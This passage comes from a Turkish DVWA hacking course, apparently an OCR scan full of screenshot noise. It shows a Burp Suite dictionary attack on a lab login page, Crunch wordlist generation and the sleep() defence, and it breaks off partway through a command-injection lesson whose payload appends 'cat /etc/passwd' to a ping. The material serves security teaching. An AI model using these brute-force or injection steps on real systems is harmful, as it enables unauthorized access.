Cookie: security=Tow; PHPSE D=0d4hiZ2qikrilop8i9kcl7m1Bu3
Connection: keep-alive
-
aret 0 matches \&I
0 payload pasitions Length: 473

Ayni islemi password parametresinin igerdigi deneme yazisi i¢in de yapin. Yani password'ln

yanindaki denemeyi farenizle segin ve Add $ butonuna tiklayin.
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Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target rF’I'-I-"“' rEp\dEl’ rEcanner rlmruder rREpEater rsequencer rDEEﬂﬂEI’ rCnmparEr rExtender r/Optlnns rAIens ‘
1 = 2 x

Target rF‘asumns rPay\oads rOptions |

Payload Positions Start artack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: [Sniper |v|

GET /Jdvwa/vulnerabilities/brute/iusernane=§denemei&password=denemetlogin=Login HTTP/1.1 -
Host: Tocalhost 1
User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux xB86_64; rv:42
Firefox/42.0

Accept: text/html,applicationsxhtml+xml,application,”
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: htrp://localhost/dvwasvulnerabilitie
Cookie: security=low; PHPSESSID=od4hiZgikri
Connection: keep-alive

Add §

ecko,/20100101 Clear §

7 0=0.9,%/%3q=0.8 Auta §

Refresh

ute/
19kclTmlBu3

-

|t b

1 payload pasitian Length: 475

0 matches Clear

L, .  E—m———————————————

Bdylelikle s6zlik saldirisinin Gzerine ¢alisacagi bolgeleri belirlemis olduk.

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target rPI"Z'.‘. rSpider rS:anner rlmruder rREpEBIEr rSeuuencer rDchdEr rCDmparEr rExtendEr rOpUuns rAIens |
1 x 2 =
Target Positions rPay\nads rOp(inns ‘

Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details

Attack type: |Sniper "‘

GET /dvwa/vulnerabilities/brute/Tusername=§deneme§ipassword=§denemne§&login=Login -
HTTP/1.1 1
Host: localhest
User-Agent: Mozilla/S5.0 (X11; Ubuntu; Linux x
Firefox/42.0

Accept: text/html,application/xhtml+xml,appli
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://localhost/dvwas/vulnerabilitie
Cookie: security=low; PHPSESSID=od4hiZqikrilS
Connection: keep-alive

Add §

Clear g
545 rv:AZ.D) Geck@ /20100101

Aut
tion/xml;g=0.9,%/" M=0.8 T

Refresh

brute/
[i9kcl7n1Bu3

O matches Clear

| IE

2 payload positions Length: 477

Hatirlarsaniz en basta login ekranina kullanici adi olarak deneme, sifre olarak da deneme
girmistik. iste bu metin kutularini $ isareti ile kod tizerinde belirledik ve simdi bu belirledigimiz

noktalara sozlukleri denettirecegiz. Bulundugunuz BurpSuite penceresindeki Sniper'i Cluster
Bomb olarak degistirin.

Not: Sniper yerine Cluster Bomb secgiyoruz, ¢linkii artik bir parametreye dedil, iki parametreye saldiriyi
uygulayacagiz. Bir parametre icin Sniper (Nisanci) secenedini kullanmigtik. ki ve daha fazlasi igin Cluster
Bomb(Kiime Bombardimani) segenegdi kullanilir. Bu tamamen Burpsuite jargonudur. Saldiri diinyasinin jargonu
degildir.
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Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

rTarget r Proxy

rip\der ricanner rlmruder rRepeater r/SequencEr rDecnder r/Cﬂmparer rExtender r/Optlnns rAIens |

1 x 2 x

rTarget rPus\tiuns rPayIDads rOptiUns |

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details
Attack type: (Cluster bomb |v|
GET /dvwa/vulne ities/brute/Iusernane=§denemesipassword=5deneme§&login=Login = Add §
HTTP/1.1
Host: localhos
User-Agent: Molilla/5.0 (¥11; Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101
Accept: Cext ml,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Languglie: en-US,en;q=0.5
Accept-Encodifing: gzip, deflate geltesh
Referer: hijh://localhost/dvwas/vulnerabilities/brute/
Cookie: sedfrity=low; PHPSESSID=o0d4hiZqikril9pBi9kcl7ml8u3
Connection: keep-alive

-
2 payload paositions Length: 477

Ardindan bulundugunuz sekme olan Positions'in yanindaki Payloads sekmesine gelin. Load
butonuna tiklayin ve kullanici adlari i¢in olusturdugunuz sézlik dosyasini ekleyin.

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner I Intruder T Repeater I Sequencer I Decoder T Comparer I Extender IOptiuns IAIerts }

1w |2« |3 % |[4x([5x%|[6x |7 % |8x |09 = |10 =|11 «

"Target IPusitiuns IPaylmads TOptions ]

EJ Payload Sets

different ways. Look In: {ﬁ Desktop

Positions tab. Various payloal

5 (@) o) (&) E

Payload set: ll— [ Kariyer Basamaklan.docx

Payload type: | simple list [ Lnwservers includekarabuk Bilgileri
[ mutillidae Video Serisi.txt

[ olasikullaniciAdlari.txt |
w Payload Options [Simp| | [ olasisifreler.txt

[ penwiki hk

[ PhpMyAdmin Basic Auth Credentials
[ Temel CMD Komutlan.txt

[ Temel Terminal Komutlan

[ xss Cheatsheet.docx

This payload type lets you cor |4 %

AN

)
JE

-~ s

i olasiKullaniciAdlari.txt
Files of Tfpe: {AII Files

"]

Remove

Clear

il

Add Enter a new item

[ Add from list ... v

Open selected file

Jr

"L

Simdi ikinci metin kutusuna denenecek sifrelerin yer aldigi sézlik dosyasini eklemek igin
Payload Set'in yanindaki 1'i 2 olarak degistirin, ardindan tekrar Load butonuna tiklayin ve

sifreler igin olusturdugunuz sézlik dosyasini ekleyin.
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Burp Suite Professional v1.5.01 - licensed to LarryLau

| Burp Intruder Repeater Window Help

| [Target ]' Proxy ]' Spider T Scanner I Intruder T Repeater T Sequencer ]' Decoder ]' Comparer ]' Extender ]'Options TAlertE }

1 x|2 % (3 =x|4x|5=x[6x|7=x|8=x=]9=x|10 « [1] =

Target | Positions | Payloads TOptions ]

EJ Payload Sets

different ways.

Payload set: l2 \v] Payload count: 0

Payload type: | Simple list \v} Request count: 0

| LEJ Payload Options [Simple list]

| Paste
Load ...
Remove

Clear

Add Enter a new item

Add from list ... \v}

e

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set, and each payload type can be customized in

This payload type lets you configure a simple list of strings that are used as payloads.

4l

Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer I Extender TOptions IAIerts ]

1 =2« (3 = |4 =[5 x|6=x=|7 =x|8=x]|8 =10« [1] =

Target | Positions | Payloads TOpticns}

@ Payload Sets

You can define one or more _

Positions tab. Various payloa | ook in: lﬁ Desktop

different ways.

[ Kariyer Basamaklan.docx

Payload type: | simple list [ mutillidae Video Serisi.txt

[ alasikullaniciadlari.txt

[ olasisifreler.txt

Payload set: |2 . I
Y [T Lnwservers includekarabuk Bilgileri

M (@] (o] (@] EDl=)
]

[ penwiki hk

| PhpMyAdmin Basic Auth Credentials
) Temel cMD Komutlan.txt

[ Temel Terminal Kemutlan

[ xs5 Cheatsheet.dacx

Payload Options [Simp

(=]

al

L. J T

This payload type lets you co
olasisifreler.txt

Baste Files of Type: |All Files

-

Remove

Clear

1

Add Enter a new item

| Add from list ... v

ot
Open selected file

So6zlik dosyalarinin denenecedi metin kutularini kod bazinda segtik, sozlik dosyalarini da
ekledik. Geriye bir sey kaldi. Simdi geriye son bir sey kaldi. O da yazilimin yapacagi sifre
denemelerinde hangisinde basarili olundugunu bize sunacak bir isaret gerekmekte. Bu isareti
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ise DVWA'nin login ekranina normalde elle girecegimiz rasgele kullanici adi ve sifre sonrasi
ekranin vermekte oldugu su uyariyi kullanarak belirleyecegiz:

Vulnerability: Brute Force

Login

Username:
deneme
Password:

R
Login

=]

Username and/or password incorrect.

Goruldugu Uzere tarayici araylzinde normal bir sekilde elle kullanici adi & sifre girildiginde ve
yanlis oldugunda bir bildirim ekrana gelmektedir. Ne zaman kullanici adi ve sifre dogru olursa
0 zaman bu hata bildirimi gelmeyecektir. iste bu etki tepkiyi simdi yazilima verelim ve yazilim

her sifre denemesinde tepki olarak bu hatayi aliyorsa ekranimiza bu sifre denemesinde hata
aldim diyebilsin.

Simdi BurpSuite'e tekrar dénuin ve bulundugunuz Options sekmesinin asagilarina pencereyi
kaydirin. Orada Grep - Match adli bir bélim vardir. Oradaki Clear butonuna tiklayin.

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender I Options TAIerts ]
1 w2 % |3 = |4 «[..
[Target TPositions IPaonads IOptions ] -
[¥] SIOre responses t! 1
[ Make unmodified baseline request

[] use denial-of-service mode (no results)
[[] store full payloads

(7] Grep - Match
L —
|

These settings can be used to flag res ems containing specified expressions.

[[] Flag result items with respongg® matching these expressions:
Load ...

Remove i
' Are you sure you want to clear the list?

access

P [No ] [ves
.

Add Enter a new (ten

Match type: (8 Simple string
() Regex

[] case sensitive match B

[¥] Exclude HTTP headers

¥

Sildiklerimizin yerine simdi DVWA'nin hata bildirimini koyacagiz. Bunun igin hata bildirimindeki
tim kelimeleri cimle olarak girmenize gerek yoktur. Sadece hata durumunda beliren spesifik
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bir kelimeyi - eger sifre dogru oldugunda, yani oturum agildiginda o kelime sayfanin herhangi
bir yerinde yoksa o kelimeyi - kullanabilirsiniz. Hata bildirimi suydu:

Username and/or password is incorrect.

Bu cuimledeki incorrect kelimesini yazilima ekleyelim. Bunun icin asagidaki resimdeki gibi
metin kutusuna incorrect kelimesini girin ve Add butonuna tiklayin.

Burp Suite Professional v1.5.01 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer T Extender T Options TAIerts ]

1 =2 = |3« [&x]..

[Target IPositions TPayloads TOptions W
[¥J SIOTE responses
] Make unmodified baseline request

>

[] use denial-of-service mode {no results)

[_] store full payloads

Grep - Match

These settings can be used to flag result items containing specified expressions.

sl (5

[] Flag result items with responses matching these expressions:

Paste
Load ...
Remove L

Clear

[ add | |incorrect < : A

lyp| Add the specified item

(U Regex

[] cake EEBE match
] Exclude P headers

FLi
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Burp Suite Professional v1.5.01 - licensed to LarryLau

: Burp Intruder Repeater Window Help

| [Target I Proxy I Spider I Scanner T Intruder T Repeater I Sequencer TDeccder I Comparer I Extender I Options IAIerts }

Bl = |2 = |3 = [&&|..

[Target IPusitiuns IPaylnads Ioptinns ]
¥J StOTe responses i
] Make unmodified baseline request

[] use denial-of-service mode (no results)
(] store full payloads

Grep - Match

G\E_I

These settings can be used to flag result items containing spe(ifiedyessiuns.

] Flag result iterns with responses matching these expressions:

| Paste incorrect
1 I
1 Load ...
Remove >
Clear

Add J |incorrect

Match type: @ Simple string
() Regex

| [] case sensitive match
V] Exclude HTTP headers

aF

islemler bitmistir. Artik yazihm, koydugunuz dosyalardaki olasi kullanici adilarini ve olasi
sifreleri sirayla esleyip login sayfasina deneyecektir ve denedigi login bilgilerinin yanls olup
olmadigi konusunda bizi bilgilendirecektir. Bulundugunuz sekmenin en yukarisina pencereyi
kaydirin ve Start Attack butonuna tiklayarak Brute Force saldirisini baglatin.

0 Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target r/: oxy rSplder rScanner rlntruder rRepeater rSequencer rDecoder rComparer rExtender rOptlons rA\ens |
1 % 2 %

Target rPosmons rPaonads rOptmns |

Request Headers

These settings control whether Intruder updates the configured request headers during attacks

Update Content-Length header

Set Connection: close

-

Request Engine

These settings control the engine used for making HTTP requests when performing attacks
Note: Some of these options are not available in the Free Edition of Burp

Number of threads

MNumber of retries on network failure: 3

Pause before retry (milliseconds): 2000
Throttle (milliseconds): ® Fixed
(7) variable: start step

4]

Ekrana yeni bir pencere gelecektir ve size denedigi kullanici adi ve sifre ikililerini gdsterecektir.
Bu ikililerin yanlis oldugunu penceredeki incorrect sutunundaki tick isaretlerinden
anlayabilirsiniz. Eger incorrect sutununda tick isareti varsa girilen kullanici bilgileri sonucu
uygulamadan tepki olarak incorrect bilgisi geldi anlamina gelir. Yani demek ki denenen
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kullanici bilgileri yanhgmig. Eger incorrect sutununda tick igareti yoksa bu durumda denenen
kullanici bilgisi sonucu incorrect kelimesi gelmemis demektir. Yani denenen kullanici bilgileri
dogru demektir. Béylece DVWA uygulamasinda kullanici adi ve ayni zamanda sifresini
bilmediginiz bir hesabi elde edebilmis olursunuz.

Intruder attack 24

Attack Save Columns

J Results TTarget I Positions T Payloads T Options ]

| Filter: Showing all items |uJ
Reguest & Payloadl | Payloadz | Status | Error | Timeout | Length | incorrect | Comment

0 200 [} [} 5270 (&) baseline request

1 root deneme 200 [} [} 5270 (&)

2 manager deneme 200 [} [} 5270 (&)

3 administrator deneme 200 0 0 5270 (&)

a admin deneme 200 O O 5270 [

5 root 12345 200 O O 5270 o

6 manager 12345 200 L L 5270 [

7 administrator 12345 200 L L 5270 [

8 admin 12345 200 O O 5270 o

] root sifre 200 O O 5270 [

10 manager sifre 200 O O 5270 [

11 administrator sifre 200 O O 5270 [

12 admin sifre 200 O O 5270 [

13 root saat 200 O O 5270 [

14 manager saat 200 O O 5270 [

15 administrator saat 200 O O 5270 [

16 admin saat 200 [l [l 5332 O

—— —

<K % % >
Finished [© B

Goruldiugu UGzere sifrenin "saat" string'i oldugu tespiti yapilabilmistir. Dilerseniz DVWA'nIn
Brute Force ekranindaki login ekranina BurpSuite'in tespit ettigi bilgileri girerek dogrulugunu
test edebilirsiniz.

NOT: Eger kullanici adi olarak admin ve sifre olarak password ikilisinin denenme sirasi
ortalarda bir yerde yer alsaydi bu durumda onlarin bulundugu konumdan sonraki butin
Incorrect sGtununun satirlarinda tick isareti olmayacaktir. Bu tim sonraki denemelerin bagarili
oldugu anlamina gelmiyor. Yaniltmasin. ilk tick isaretinin olmadigi satir ile DVWA'da oturum
acildigindan sonraki denemeler oturum agikken denendidi igin sanki basariliymis gibi bir
izlenim vermektedir. Yani ilk tick isaretinin olmadigi satir asil dogru bilgilerin yer aldigi satirdir.

Sonug

Bu derste bir login ekranina Brute Force'umsu bir teknige sahip Dictionary Attack yaparak
admin'in sifresini kirmis olduk. Bu dersin anlasiimasi igin basit ve kisa soézlik dosyalar
kullaniimistir. Fakat internette tirkge, ingilizce kapsamli sézllik dosyalari bulunabilir. Bu s6zIUk
dosyalari binlerce, onbinlerce, ylzbinlerce ve milyonlarca satirdan olusabilmektedir. Eger
dilerseniz kendi sozluk dosyanizi da olusturabilirsiniz. Bunun igin tek tek elle bir seyler
yazmaniz da gerekmiyor. Bir tool'a komut vererek istekleriniz dogrultusunda s6zlik dosyasi
urettirebilirsiniz ki bu sonraki baghgin konusudur.
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Ekstra

Kendi s6zlik dosyanizi otomatize bir sekilde kendiniz olusturmak igin Crunch adli tool'u
kullanabilirisiniz. Bu tool'u kullanabilmek igin bilgisayariniza indirip kurmayi secebilir ya da
Virtual Machine / Virtualbox gibi bir sanallastirici program kurup icine Kali adli linux dagitimini
kurarak kullanmayi da secebilirsiniz. ikinci secimin séyle bir avantaji vardir: Kali Linux isletim
sistemi crunch, burpsuite ve daha onlarca siber guvenlik tool'unu binyesinde hazir kurulu
olarak barindirmaktadir. Dolayisiyla bu sekilde blyUk bir yikten kurtulmus olursunuz. Neyse,
simdi derse donelim. Crunch tool'unun kullanimi su sekildedir:

crunch <min> <max> <karakterseti> -t <desen> -o <sozlikdosyasi.txt>

Diyelim ki 10 haneli 911 sayisiyla baglayan ve 0,1,2,3,4,5,6,7,8,9 sayilarinin kullanildigi
olabilecek tum sayilari sozluk.txt dosyasina kaydetmek isteyelim. Bu durumda asagidaki
komutu komut ekranina girmemiz gerekir:

1 cruch 10 10 0123456789 -t 911QQREQRRRQR -o sozluk.txt

Bdylece sdzllik dosyamiz olusturulur:

root@kali: ~/Desktop

File Edit View Search Terminal Help

Komut ekrani bize 10 milyon satirli bir s6zlik dosyasi olusturdugunu séylemektedir. Asagida
bu s6zluk dosyasinin igerigini gdrmektesiniz.
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Applications Places = Tue Jan 12, 9:59 AM
sozluk.txt (~/Desktop) - gedit
File Edit WView Search Documents Help

|t Open ~ & Save oo

pe

Plain Text ~» Tab Width: 8 Lnl, Col 1 INS

So6zIlik dosyasina bakacak olursaniz sirayla tim kombinasyonlarin olusturuldugunu
gérebilirsiniz. isterseniz sayi karakterleri yerine harfler kullanabilir ve ayni zamanda su su
karakterle baslasin ya da bitsin gibi kurallar koymadan olabilecek tim kombinasyonlardan bir
sozluk dosyasi olusturabilirsiniz. Hatta sadece 10 karakter uzunlugunda olsun seklinde degil
de 1'den 10'a kadar olsun dahi diyebilirsiniz. Fakat bastan sdyliyeyim: EJer garantici olmaya

caligsirsaniz bilgisayarinizi kapatmadan yillarca agik vaziyette tutmaniza sebep olabilir. )
Benden sdylemesi.

Olusturacaginiz s6zlik dosyasini BurpSuite'e ekleyerek daha etkili sifre kirma tesebbuslerinde
bulunabilirsiniz.

TUBITAK — BILGEM — Siber Giivenlik Enstitiisi 68



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

DERS 3 - BRUTE FORCE (MEDIUM LEVEL)

Bu yazida guvenlik dizeyi Medium seviyesine yukseltiimis DVWA'ya karsi Brute Force saldirisi
ve givenlik 6nlemleri incelenecektir.

Dersin Hedefi
DVWA'da glvenlik Medium Level'ken Brute Force igin ne gibi bir glivenlik dnlemi alindigini
kesfedin.

Brute Force'a Karsi Onlem

Bir_onceki derste Brute Force saldirisinin nasil dizenlenecegine deginmistik. Eger dikkat
ettiyseniz glivenligin g'sinden dahi bahsetmemistik o yazida. iste simdi Brute Force'a karsi web
sitelerinizi nasil daha glvenli hale getirebilecegimizin vakti geldi. Oncelikle giivenlik seviyesi
Low Level iken kullanilan kaynak kodu inceleyelim (Kaynak kodu goérintilemek icin DVWA'nIn
ders ekranindaki sagd alt kdsede yer alan View Source butonuna basip ardindan agilan
penceredeki Compare All Levels butonuna basmalisiniz).

<?php

if{ isset{ % GET[ 'Login” ] ) )} {
/f Get username
fuser = § GET[ ‘username’ ];

% GET[ ‘'password’ ];
fpass = md5( %pass );

ff Check the database

fquery = "SELECT * FROM “users’ WHERE user = "fuser' AMD password = "Spass’;";
fresult = mysql _query( fguery ) or die( ‘<prex" . mysgl error{) . '<fprex' );
if{ fresult && mysql_num_rows{ %result ) ==1 ) {

f/ Get users details

favatar = mysql_result{ %result, @, “"avatar” };

[/ Login successful

echa "<prWelcome to the password protected area {Buser}</p>";

echa "<img src="\"{favatar}\"">";

else {
ff Login failed
echa "<prex<brrUsername and/or password incorrect.</pre>";

L
mysql_close();

>

Yukaridaki kodu ele alacak olursak $user deg@iskeni ders ekranindaki ilk metin kutusuna girilen
veriyi tutmaktadir. $pass degiskeni ise ders ekranindaki ikinci metin kutusuna girilen verinin
Hash'e donusmus seklini tutmaktadir. Bir SQL sorgusu ile metin kutularina girilen verileri tutan
degiskenlerin tuttuklari veriler veritabaninda taranir ve eger eslesme gergeklesirse bu durumda
15. satirdaki if kosuluna girilir. Eger eslesme gerceklesmezse bu durumda 23. satirdaki else
kosuluna girilir ve ona gore ekrana hata bildirimi yansitilir.

Yukaridaki kod guvenlik seviyesi Low Level'ken kullanilan kaynak koddur. Brute Force'a karsi
higbir 6nlem icermemektedir. Simdi bir de gluvenlik seviyesi Medium Level'ken Brute Force'a
kars! 6nleme sahip kaynak koda bakalim:
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T M

§ GET[ ‘'usernams’ ];
mysgql real escape string{ Zuser );

B b e s

£ £

t( % GET[ "Login” ] )} ) {
anitise wsername input
o=

o=

ff Sanitise password input

;3 § GET[ ‘'password® ];
mysql_real_escape_string( %pass );
mds( %pass );

/ Check the database

f
fquery = "SELECT * FROM “wsers™ WHERE user = “fuser’ AND password = '$pass’;";
fresult = mysql_query( fquery ) or die( '<pre>' . mysgl_error() . '<fprex’ );
if{ %fresult && mysql_num_rows{ fresult ) == 1) {

ff et users details
favatar = mysql_result({ %result, @, “avatar" };
ff Login successful
echo "<p>*Welcome to the password protected area {$user}</p>";
echo "¢img src="\"{favatar}\"">";
else {
ff Login failed
sleep( 2 );
echo "<pres<br:Usernams and/or password incorrect.</pre:";
¥
mysgl_close();
¥
B

Guvenlik 6nlemi Medium'ken kullanilan yukaridaki kaynak kodda fark ettiyseniz yeni eklenen
satirlar vardir. Bunlardan 6. ve 10. satirdaki kodlar SQL Injection saldirilarina karsi alinmis bir
tir tedbirdir. SQL Injection saldirisi sonraki derslerin konusu oldugu igin simdi
deginilmeyecektir. Brute Force saldirisina kargi alinmis tedbir ise 27. satirdadir. 27. satirda
sleep() adh bir fonksiyon kullaniimistir. Bu fonksiyon sunucudaki php kodunun calismasini
geciktirmeye yarar. sleep(2) ile kastedilen sey 2 saniye boyunca PHP kodunun galismasini
duraklat. Dikkat ederseniz bu fonksiyon else kosulu igerisine konmus. Bu su anlama
gelmektedir: Eger ki istemci yanlis sifre girerse bu durumda else kosuluna girilir ve hata
bildirimi hemencecik istemciye gonderilmez. Bunun yerine 2 saniye sonra hata bildirimi
gonderilir. Peki bunun Brute Force'la ne alakasi var? Alaka su: Brute Force yapan yazilimlar
daha o6nceki derste de bahsedildigi gibi olduk¢ga uzun sireler sonunda anca sonuca
ulagabilmektedirler. iste sleep() fonksiyonu bu zaafin iizerine gitmektedir ve web sitesi sahibi
brute force yazilimlarinin bu =zaafini kullanarak onlarin hesaplamalarini daha da
geciktirmektedir.

Yukaridaki kullanilan guvenlik 6nlemi DVWA'da aktifken bir 6nceki derste bahsedilen
BurpSuite ile yeni bir sézlik saldirisi yapmayi denerseniz bu durumda acgilan deneme ve
yanilma penceresindeki deneme yanilma islemlerinin ne kadar agir ilerledigini gorebilirsiniz
(Bu sureci gézlemlemek i¢in dncelikle DVWA'nin sol sutunundaki DVWA Security butonuna
tiklayin ve guvenlik seviyesini Medium Level'a yukseltip Submit'leyin. Ardindan BurpSuite ile
onceki derste bahsedilen s6zlik saldirisini tekrarlayin).
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Sonug

Daha 6nceki derste dendigi gibi kirllamayacak sifre yoktur. Bu laf olsun diye séylenmis bir sey
degildir. Gergekten kirllamayacak sifre yoktur. Bu durumda yapilacak en iyi sey kirilma suresini
olabildigince uzatmaktir. Tabi sleep() komutuyla olusturulacak bekletiime stresi giuvenlik daha
da iyi olsun diye abartilmamalidir. Sonugta normal kullaniciyl sinir hastasi edebilir ve
sitenizden uzaklastirabilirsiniz.

Yakin zamanda Google'da sahit oldugum Brute Force'a kargl yapiimis bir dnlemle bu yaziyi
noktalayalim. Eger google'in hizmeti Gmail'e yakin zamanlarda giris yaptiysaniz fark
etmissinizdir iki asamali bir login mekanizmasiyla karsilasiliyor. Once bir ekran geliyor ve o
ekrandaki metin kutusuna gmail adresinin girilmesi isteniyor. Ardindan ikinci ekrana
yoénlendiriliyorsunuz ve bu sefer sifrenizi girmeniz isteniyor.

Google

One account. All of Google.

Sign in to continue to Gmail

Need help?

Create account

One Google Account for everything Google
GMmEOL * @

Resim 1
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Google

One account. All of Google.

Sign in to continue to Gmail
e o

v/ Stay signed in Forgot password?

Sign in with a different account

One Google Account for everything Google
G MA@ L R B E

Resim 2

Hatirlarsaniz DVWA'nin ekraninda username ve password kutucuklari ayni ekrandaydi. Cogu
sitede de zaten bdyledir. Fakat google bdyle bir taktik kullanarak piyasadaki yazilmis Brute
Force yazilimlarinin hatiri sayilir kadarini paskuartmastur. Bu taktige elbette kalici bir 6nlem
denemez. Cunku bir yazihmcinin ya da guvenlik uzmaninin bdyle bir mekanizmaya gore
calisacak Brute Force programi yazmasl ¢ok da zor bi'sey degildir (Tabi yazilim gelistirme
tecribesine sahip olanlar igin...). Ancak daha énce dendigi gibi olabildigince sinirlari zorlamak
gerek ve Google da zaten bdyle yapmis.
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DERS 4 - COMMAND INJECTiON (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin zafiyetinden
faydalanarak "Linux bir sisteme" Command Injection saldirisinda bulunulacaktir.

Dersin Hedefi

Hedefiniz Command Injection saldirisi yaparak zafiyetin bulundugu sayfaya "Hacked By Script
Kiddies" yazisini yazdirmaktir.

Command Injection Nedir?

Command Injection, yani komut enjeksiyonu saldirganin zafiyet barindiran bir uygulama
Uzerinden hedef sistemde diledigi komutlari ¢alistirabilmesine denir. Komut ile kastedilen sey
Windows'ta CMD ve Linux'ta Terminal pencerelerine girilen sistem komutlaridir. Literatlrde
Shell kodlamasi diye de gecer. Command Injection saldirisi blylk oranda yetersiz input
denetleme mekanizmasi nedeniyle gergeklesmektedir. Simdi burada anlatilanlarin ne anlama
geldigini DVWA GUzerinden pratik olarak goérelim.

Command Injection Saldiris1 Nasil Yapilir?
Oncelikle DVWA'nin sundugu Command Injection sayfasina bir géz atalim:

Home Vulnerability: Command Injection
EEEEE. Ping a device

Setup | Reset DB

Brute Force |

| Command Injection __|
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

Enter an IP address: Submit

More Information

Command Injection sayfasinda bir metin kutusu gérmektesiniz. Bu metin kutusuna gireceginiz
bir IP adresi ya da bir domain adresi sonucu ekrana 4 tane ping paketinin belirtilen adrese
gonderildigini géreceksiniz.
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Vulnerability: Command Injection

Ping a device
Enter an IP address: www.includekarabuk.com Submit
| VUSRS

PING includekarabuk.com (93.89.224.247) 56(84) bytes of data.

64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=1 ttl=241 time=]
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=2 ttl=241 time=]
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=3 ttl=241 time=]
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=4 ttl=241 time=]

ms
ms
ms
ms

W~ @
== 2N N I PRy

- includekarabuk.com ping statistics ---
4 packets transmitted, 4 received, 8% packet loss, time 3804ms
rtt min/avg/max/mdev = 70.307/74.857/78.092/3.075 ms

More Information

Buradan su tespite varmaniz gerekir: Eger ping paketleri gonderiliyor ve aliniyorsa - ki ¢ikt
bunu soyllyor - bu durumda web uygulamasi sunucu tarafinda CMD ya da Terminal komutlari
calistiriyor demektir. Bu tespitten sonra ikinci tespit etmeniz gereken nokta ise metin kutusuna
girdiginiz IP ya da domain adresinin sunucu tarafindaki CMD/Terminal komutlarina eklendigi
ve bu sekilde CMD/Terminal komutlarinin calistinildigidir. Cinki c¢iktiya dikkat edecek
olursaniz metin kutusuna girilen adresin aynisi ¢giktida da mevcuttur. Yani ping paketleri metin
kutusundaki adrese gonderilmigtir:

Vulnerability: Command Injection

Ping a device

Enter an IP address: |ww_includekarabuk_com Submit
| Se———

PING includekarabuk.com (93.89.224.247) 56(84) bytes of data.

64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seq=1 ttl=241 time=j
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=2 ttl=241 time=j
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=3 ttl=241 time=j
64 bytes from 93-89-224-247.fbs.com.tr (93.89.224.247): icmp_seg=4 ttl=241 time=7

ms
ms
ms
ms

W= @
MWD

- includekarabuk.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3084ms
rtt min/avg/max/mdev = 70.307/74.857/78.092/3.075 ms

Bu tur bir hizmet veren web uygulamasinda eger metin kutusu denetlemeye tabi tutulmamigsa
saldirgan komut satiri kodlama bilgisini kullanarak var olan ping komutunun yanina kendi
komutunu ekleyebilir. Bdylelikle ping komutunu c¢alistiran sunucu istemeden saldirganin
gonderdigi komutu da calistiracaktir ve ekrana yansitacagi giktinin icinde saldirganin ekledigi
komutun c¢iktisi da yer alacaktir. Simdi bu islemi daha iyi anlayabilmek igin metin kutusundan
gonderdigimiz verinin sunucu tarafinda nasil iglendigini PHP kodlamasi ile gorelim:

Metin kutusuna girilen site adi sonrasi ekrana 4 paketli bir ping ¢iktisi yansimaktadir. Bu
paketlerin belirttigimiz adrese qittigi ifade edildigine gére arkaplanda metin kutusundan alinan
verinin ping komutunun sonrasina eklendigi sonucuna varabiliriz. Bu durumda arkaplanda
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calisan ilgili PHP kodu soyle bir sey olmalidir ki ekrana bizim gbézlemledigimiz ¢iktiyi verebilsin:

1 echo shell exec('ping -c 4 ' . $metinKutusu);

shell_exec() fonksiyonu, icerisinde yer alan ping komutunu sunucunun komut satiri Uzerinde
calistiracaktir ve echo komutuyla da calistirlan komutun c¢iktisi ekrana yansitilacaktir.
Yukaridaki satirda yer alan -c 4 ifadesi 4 kere ping paketi gbnder anlamina gelir ve
$metinKutusu degiskeni ise ekrandaki metin kutusuna girilen veriyi tutan bir degiskeni temsil
eder. Simdi bu PHP kodunu goérdikten sonra command injection't daha iyi idrak edebiliriz.
$metinKutusu'na girilecek bazi operatorlerle yeni komutlar dahil edilebilmektedir. Eger shell
(komut satir) diline biraz vakifsaniz bilirsiniz ki &&, | ya da || gibi operatérler, ayrica ; gibi
sonlandiricilar shell komutlarini birbirlerinden ayiran ya da birbirlerine baglayan o6zellige
sahiptirler. iste bu operatérler yardimiyla ping komutunun sonuna yeni bir komut ekleyecegiz.
Bdylece command injection tesebbisinde bulunmus olacagiz.

Metin kutusuna girilecek bir site adindan sonra && operatérini eklersek bundan sonra
istedigimiz shell komutunu girebiliriz.

1 ping www.includekarabuk.com && cat /etc/passwd

Yukaridaki satir su anlama gelir: ping'i calistirdiktan sonra cat'i calistir. Bu shell
kodlamasindaki cat komutu argiman olarak aldigi dosyanin igerigini ekrana basmaya yarayan
